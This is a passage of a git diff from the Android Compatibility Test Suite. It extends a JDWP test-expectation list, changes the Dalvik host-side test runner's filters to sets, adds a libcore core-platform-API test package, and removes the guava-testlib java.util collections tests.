-    "org.apache.harmony.jpda.tests.jdwp.VirtualMachine.ReleaseEventsTest#testReleaseEvents001"
+    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand_OnthrowDebuggerLaunchTest#testDebuggerLaunch001",
+    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand_OnthrowDebuggerLaunchTest#testDebuggerLaunch002",
+    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand_OnthrowDebuggerLaunchTest#testDebuggerLaunch003",
+    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand_OnthrowDebuggerLaunchTest#testDebuggerLaunch004",
+    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand_OnthrowLaunchDebugger001#testDebugger002",
+    "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand_OnthrowLaunchDebugger002#testDebugger",
+    "org.apache.harmony.jpda.tests.jdwp.Events_ClassUnloadTest#testClassUnloadEvent",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorContendedEnterTest#testMonitorContendedEnterForClassMatch",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorContendedEnteredTest#testMonitorContendedEnteredForClassMatch",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitTest#testMonitorWaitForClassExclude",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitTest#testMonitorWaitForClassMatchExact",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitTest#testMonitorWaitForClassMatchFirst",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitTest#testMonitorWaitForClassMatchSecond",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitTest#testMonitorWaitForClassOnly",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitedTest#testMonitorWaitedForClassExclude",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitedTest#testMonitorWaitedForClassMatchExact",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitedTest#testMonitorWaitedForClassMatchFirst",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitedTest#testMonitorWaitedForClassMatchSecond",
+    "org.apache.harmony.jpda.tests.jdwp.Events_MonitorWaitedTest#testMonitorWaitedForClassOnly",
+    "org.apache.harmony.jpda.tests.jdwp.ReferenceType_ClassFileVersionTest#testClassFileVersion001",
+    "org.apache.harmony.jpda.tests.jdwp.ReferenceType_NestedTypesTest#testNestedTypes001",
+    "org.apache.harmony.jpda.tests.jdwp.ThreadReference_StopTest#testStop001",
+    "org.apache.harmony.jpda.tests.jdwp.VirtualMachine_HoldEventsTest#testHoldEvents001",
+    "org.apache.harmony.jpda.tests.jdwp.VirtualMachine_ReleaseEventsTest#testReleaseEvents001"
   ],
   bug: "16720689"
 }
diff --git a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java
index 324df40..61e1988 100644
--- a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java
+++ b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java
@@ -52,9 +52,11 @@
 import java.io.IOException;
 import java.io.PrintWriter;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Collection;
 import java.util.Collections;
 import java.util.HashSet;
+import java.util.LinkedHashSet;
 import java.util.List;
 import java.util.Set;
 import java.util.concurrent.TimeUnit;
@@ -142,11 +144,11 @@
 
     @Option(name = "include-filter",
             description = "The include filters of the test name to run.")
-    private List<String> mIncludeFilters = new ArrayList<>();
+    private Set<String> mIncludeFilters = new LinkedHashSet<>();
 
     @Option(name = "exclude-filter",
             description = "The exclude filters of the test name to run.")
-    private List<String> mExcludeFilters = new ArrayList<>();
+    private Set<String> mExcludeFilters = new LinkedHashSet<>();
 
     @Option(name = "test-file-include-filter",
             description="A file containing a list of line separated test classes and optionally"
@@ -266,6 +268,38 @@
      * {@inheritDoc}
      */
     @Override
+    public Set<String> getIncludeFilters() {
+        return mIncludeFilters;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public Set<String> getExcludeFilters() {
+        return mExcludeFilters;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void clearIncludeFilters() {
+        mIncludeFilters.clear();
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void clearExcludeFilters() {
+        mExcludeFilters.clear();
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
     public void setIncludeTestFile(File testFile) {
         mIncludeTestFile = testFile;
     }
@@ -408,7 +442,7 @@
                         test = getTestDescription(parts[1]);
                         listener.testStarted(test);
                     } else if (tag.equals(FAILURE)) {
-                        listener.testFailed(test, parts[1]);
+                        listener.testFailed(test, processSerializedValue(parts[1]));
                     } else if (tag.equals(END_TEST)) {
                         listener.testEnded(getTestDescription(parts[1]),
                                 Collections.<String, String>emptyMap());
@@ -418,6 +452,11 @@
                 }
             }
 
+            private String processSerializedValue(String input) {
+                // Opposite of stringify.
+                return input.replace("^~^", "\n");
+            }
+
             private TestDescription getTestDescription(String name) {
                 String[] parts = name.split("#");
                 String className = parts[0];
diff --git a/tests/leanbackjank/app/Android.mk b/tests/leanbackjank/app/Android.mk
index b6404fe..f23d99c 100644
--- a/tests/leanbackjank/app/Android.mk
+++ b/tests/leanbackjank/app/Android.mk
@@ -24,6 +24,7 @@
 
 LOCAL_PACKAGE_NAME := CtsLeanbackJankApp
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 21
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/libcore/coreplatformapi/Android.mk b/tests/libcore/coreplatformapi/Android.mk
new file mode 100644
index 0000000..9dd2f17
--- /dev/null
+++ b/tests/libcore/coreplatformapi/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLibcoreCorePlatformApiTestCases
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    cts-core-test-runner \
+    core-platform-api-test
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/coreplatformapi/AndroidManifest.xml b/tests/libcore/coreplatformapi/AndroidManifest.xml
new file mode 100644
index 0000000..6b582a8
--- /dev/null
+++ b/tests/libcore/coreplatformapi/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.libcore.cts.coreplatformapi"
+    android:targetSandboxVersion="2">
+
+    <application android:usesCleartextTraffic="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS Libcore core platform API test cases"
+        android:targetPackage="android.libcore.cts.coreplatformapi">
+    </instrumentation>
+</manifest>
diff --git a/tests/libcore/coreplatformapi/AndroidTest.xml b/tests/libcore/coreplatformapi/AndroidTest.xml
new file mode 100644
index 0000000..907fb2d
--- /dev/null
+++ b/tests/libcore/coreplatformapi/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Libcore core platform API test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLibcoreCorePlatformApiTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.libcore.cts.coreplatformapi" />
+        <option name="runtime-hint" value="1m"/>
+        <option name="hidden-api-checks" value="false"/>
+    </test>
+</configuration>
diff --git a/tests/libcore/javautilcollections/Android.mk b/tests/libcore/javautilcollections/Android.mk
deleted file mode 100644
index 5a0bbb9..0000000
--- a/tests/libcore/javautilcollections/Android.mk
+++ /dev/null
@@ -1,47 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := guava-20.0-prebuilt
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_CLASS := JAVA_LIBRARIES
-LOCAL_SRC_FILES := libs/guava-20.0.jar
-LOCAL_UNINSTALLABLE_MODULE := true
-LOCAL_SDK_VERSION := current
-include $(BUILD_PREBUILT)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := guava-testlib-20.0-prebuilt
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_CLASS := JAVA_LIBRARIES
-LOCAL_SRC_FILES := libs/guava-testlib-20.0.jar
-LOCAL_UNINSTALLABLE_MODULE := true
-LOCAL_SDK_VERSION := current
-include $(BUILD_PREBUILT)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    guava-20.0-prebuilt \
-    guava-testlib-20.0-prebuilt
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_PACKAGE_NAME := CtsLibcoreJavaUtilCollectionsTestCases
-LOCAL_SDK_VERSION := current
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/libcore/javautilcollections/AndroidManifest.xml b/tests/libcore/javautilcollections/AndroidManifest.xml
deleted file mode 100644
index a7e8cee..0000000
--- a/tests/libcore/javautilcollections/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2016 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="libcore.java.util.collectiontests">
-
-    <!-- AndroidJUnitRunner needs a largeHeap to collect the ~ 240k test methods to run. -->
-    <application android:largeHeap="true">
-        <uses-library android:name="android.test.runner"/>
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="libcore.java.util.collectiontests"
-                     android:label="Tests for Collection implementations in java.util">
-    </instrumentation>
-
-</manifest>
-
diff --git a/tests/libcore/javautilcollections/AndroidTest.xml b/tests/libcore/javautilcollections/AndroidTest.xml
deleted file mode 100644
index 7ea7634..0000000
--- a/tests/libcore/javautilcollections/AndroidTest.xml
+++ /dev/null
@@ -1,73 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Libcore java.util Collection test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="not-shardable" value="true" />
-    <option name="config-descriptor:metadata" key="component" value="libcore" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsLibcoreJavaUtilCollectionsTestCases.apk" />
-    </target_preparer>
-    <!--
-    Notes as of November 2016:
-
-    1.) When the runner collects the set of tests to run, it
-    (a) attempts to directly run TestCase subclasses from guava-testlib, which they don't support,
-    (b) doesn't find classes with suite() methods.
-    (c) runs out of memory if attempting to run all of the > 220k tests in a single go
-    Breaking the tests down into chunks of ~ 40-50k tests each, and explicitly specifying the
-    suites to run, solves these problems.
-
-    2.) Due to http://b/33068110 the classes with the suite() methods (in the "suite" sub-package)
-    need to extend TestSuite, which means that they need to delegate to separate classes (in the
-     "tests" sub-package) that extend classes from guava-testlib.
-    -->
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="libcore.java.util.collectiontests" />
-        <option name="class" value="libcore.java.util.suite.ConcurrentSkipListMapNaturalSuite" />
-        <option name="runtime-hint" value="10m" />
-        <option name="test-timeout" value="1200000" />
-        <option name="shell-timeout" value="1400000" />
-    </test>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="libcore.java.util.collectiontests" />
-        <option name="class" value="libcore.java.util.suite.ConcurrentSkipListMapWithComparatorSuite" />
-        <option name="runtime-hint" value="10m" />
-        <option name="test-timeout" value="1200000" />
-        <option name="shell-timeout" value="1400000" />
-    </test>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="libcore.java.util.collectiontests" />
-        <option name="class" value="libcore.java.util.suite.TreeMapNaturalSuite" />
-        <option name="runtime-hint" value="10m" />
-        <option name="test-timeout" value="1200000" />
-        <option name="shell-timeout" value="1400000" />
-    </test>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="libcore.java.util.collectiontests" />
-        <option name="class" value="libcore.java.util.suite.TreeMapWithComparatorSuite" />
-        <option name="runtime-hint" value="10m" />
-        <option name="test-timeout" value="1200000" />
-        <option name="shell-timeout" value="1400000" />
-    </test>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="libcore.java.util.collectiontests" />
-        <option name="class" value="libcore.java.util.suite.OtherCollectionsSuite" />
-        <option name="runtime-hint" value="8m" />
-        <option name="test-timeout" value="1200000" />
-        <option name="shell-timeout" value="1400000" />
-    </test>
-</configuration>
diff --git a/tests/libcore/javautilcollections/libs/guava-20.0.jar b/tests/libcore/javautilcollections/libs/guava-20.0.jar
deleted file mode 100644
index 632772f..0000000
--- a/tests/libcore/javautilcollections/libs/guava-20.0.jar
+++ /dev/null
Binary files differ
diff --git a/tests/libcore/javautilcollections/libs/guava-testlib-20.0.jar b/tests/libcore/javautilcollections/libs/guava-testlib-20.0.jar
deleted file mode 100644
index 6dd8d90..0000000
--- a/tests/libcore/javautilcollections/libs/guava-testlib-20.0.jar
+++ /dev/null
Binary files differ
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapNaturalSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapNaturalSuite.java
deleted file mode 100644
index 332190b..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapNaturalSuite.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.suite;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil;
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest;
-
-public class ConcurrentSkipListMapNaturalSuite extends TestSuite {
-    public static Test suite() {
-        return new AndroidTestsForMapsInJavaUtil(MapsToTest.CONCURRENT_SKIP_LIST_MAP_NATURAL)
-                .allTests();
-    }
-}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapWithComparatorSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapWithComparatorSuite.java
deleted file mode 100644
index 878e721..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapWithComparatorSuite.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.suite;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil;
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest;
-
-public class ConcurrentSkipListMapWithComparatorSuite extends TestSuite {
-    public static Test suite() {
-        return new AndroidTestsForMapsInJavaUtil(
-                MapsToTest.CONCURRENT_SKIP_LIST_MAP_WITH_COMPARATOR).allTests();
-    }
-
-}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/OtherCollectionsSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/OtherCollectionsSuite.java
deleted file mode 100644
index 6af45f4..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/suite/OtherCollectionsSuite.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.suite;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-import libcore.java.util.tests.AndroidTestsForListsInJavaUtil;
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil;
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest;
-import libcore.java.util.tests.AndroidTestsForQueuesInJavaUtil;
-import libcore.java.util.tests.AndroidTestsForSetsInJavaUtil;
-
-/**
- * A suite of all guava-testlib Collection tests not covered by the other suites in this
- * package.
- */
-public class OtherCollectionsSuite extends TestSuite {
-    public static Test suite() {
-        TestSuite result = new TestSuite();
-        result.addTest(new AndroidTestsForListsInJavaUtil().allTests());
-        result.addTest(new AndroidTestsForMapsInJavaUtil(MapsToTest.OTHER).allTests());
-        result.addTest(new AndroidTestsForQueuesInJavaUtil().allTests());
-        result.addTest(new AndroidTestsForSetsInJavaUtil().allTests());
-        return result;
-    }
-}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapNaturalSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapNaturalSuite.java
deleted file mode 100644
index 68a7624..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapNaturalSuite.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.suite;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil;
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest;
-
-public class TreeMapNaturalSuite extends TestSuite {
-    public static Test suite() {
-        return new AndroidTestsForMapsInJavaUtil(MapsToTest.TREE_MAP_NATURAL).allTests();
-    }
-}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapWithComparatorSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapWithComparatorSuite.java
deleted file mode 100644
index 6e6fd6f..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapWithComparatorSuite.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.suite;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil;
-import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest;
-
-public class TreeMapWithComparatorSuite extends TestSuite {
-    public static Test suite() {
-        return new AndroidTestsForMapsInJavaUtil(MapsToTest.TREE_MAP_WITH_COMPARATOR).allTests();
-    }
-}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForListsInJavaUtil.java b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForListsInJavaUtil.java
deleted file mode 100644
index 8d9177c..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForListsInJavaUtil.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.tests;
-
-import com.google.common.collect.testing.TestsForListsInJavaUtil;
-import com.google.common.collect.testing.testers.CollectionToArrayTester;
-
-import junit.framework.Test;
-
-import java.lang.reflect.Method;
-import java.util.Collection;
-import java.util.Collections;
-
-/**
- * Guava-testlib tests for {@code List} implementations from {@code java.util}.
- */
-public class AndroidTestsForListsInJavaUtil extends TestsForListsInJavaUtil {
-    @Override
-    protected Collection<Method> suppressForArraysAsList() {
-        return Collections.singleton(
-                // http://b/30829421
-                CollectionToArrayTester.getToArrayIsPlainObjectArrayMethod());
-    }
-}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForMapsInJavaUtil.java b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForMapsInJavaUtil.java
deleted file mode 100644
index 11f0afe..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForMapsInJavaUtil.java
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-package libcore.java.util.tests;
-
-import com.google.common.collect.testing.TestsForMapsInJavaUtil;
-import com.google.common.collect.testing.testers.CollectionAddAllTester;
-import com.google.common.collect.testing.testers.CollectionAddTester;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-import java.lang.reflect.Method;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.Objects;
-
-/**
- * Guava-testlib tests for {@link MapsToTest} that were specified as a
- * constructor argument.
- */
-public class AndroidTestsForMapsInJavaUtil extends TestsForMapsInJavaUtil {
-    public enum MapsToTest {
-        /** All Maps other than those below. */
-        OTHER,
-        /** TreeMao with natural ordering. */
-        TREE_MAP_NATURAL,
-        /** TreeMap with a Comparator. */
-        TREE_MAP_WITH_COMPARATOR,
-        /** ConcurrentSKipListMap with natural ordering. */
-        CONCURRENT_SKIP_LIST_MAP_NATURAL,
-        /** ConcurrentSKipListMap with a Comparator. */
-        CONCURRENT_SKIP_LIST_MAP_WITH_COMPARATOR
-    }
-
-    private final MapsToTest mapsToTest;
-
-    public AndroidTestsForMapsInJavaUtil(MapsToTest mapsToTest) {
-        this.mapsToTest = Objects.requireNonNull(mapsToTest);
-    }
-
-    /**
-     * Returns the tests for the {@link MapsToTest} from {@code java.util}.
-     */
-    @Override
-    public final Test allTests() {
-        TestSuite suite = new TestSuite("java.util Maps: " + mapsToTest);
-        switch (mapsToTest) {
-            case OTHER:
-                suite.addTest(testsForCheckedMap());
-                suite.addTest(testsForCheckedSortedMap());
-                suite.addTest(testsForEmptyMap());
-                suite.addTest(testsForSingletonMap());
-                suite.addTest(testsForHashMap());
-                suite.addTest(testsForLinkedHashMap());
-                suite.addTest(testsForEnumMap());
-                suite.addTest(testsForConcurrentHashMap());
-                break;
-            case TREE_MAP_NATURAL:
-                suite.addTest(testsForTreeMapNatural());
-                break;
-            case TREE_MAP_WITH_COMPARATOR:
-                suite.addTest(testsForTreeMapWithComparator());
-                break;
-            case CONCURRENT_SKIP_LIST_MAP_NATURAL:
-                suite.addTest(testsForConcurrentSkipListMapNatural());
-                break;
-            case CONCURRENT_SKIP_LIST_MAP_WITH_COMPARATOR:
-                suite.addTest(testsForConcurrentSkipListMapWithComparator());
-                break;
-            default:
-                throw new IllegalArgumentException("Unknown part: " + mapsToTest);
-        }
-        return suite;
-    }
-
-    @Override
-    protected final Collection<Method> suppressForConcurrentHashMap() {
-        // http://b/30853241
-        return Arrays.asList(
-                CollectionAddAllTester.getAddAllUnsupportedNonePresentMethod(),
-                CollectionAddAllTester.getAddAllUnsupportedSomePresentMethod(),
-                CollectionAddTester.getAddUnsupportedNotPresentMethod());
-    }
-}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForQueuesInJavaUtil.java b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForQueuesInJavaUtil.java
deleted file mode 100644
index 52f0eb3..0000000
--- a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForQueuesInJavaUtil.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
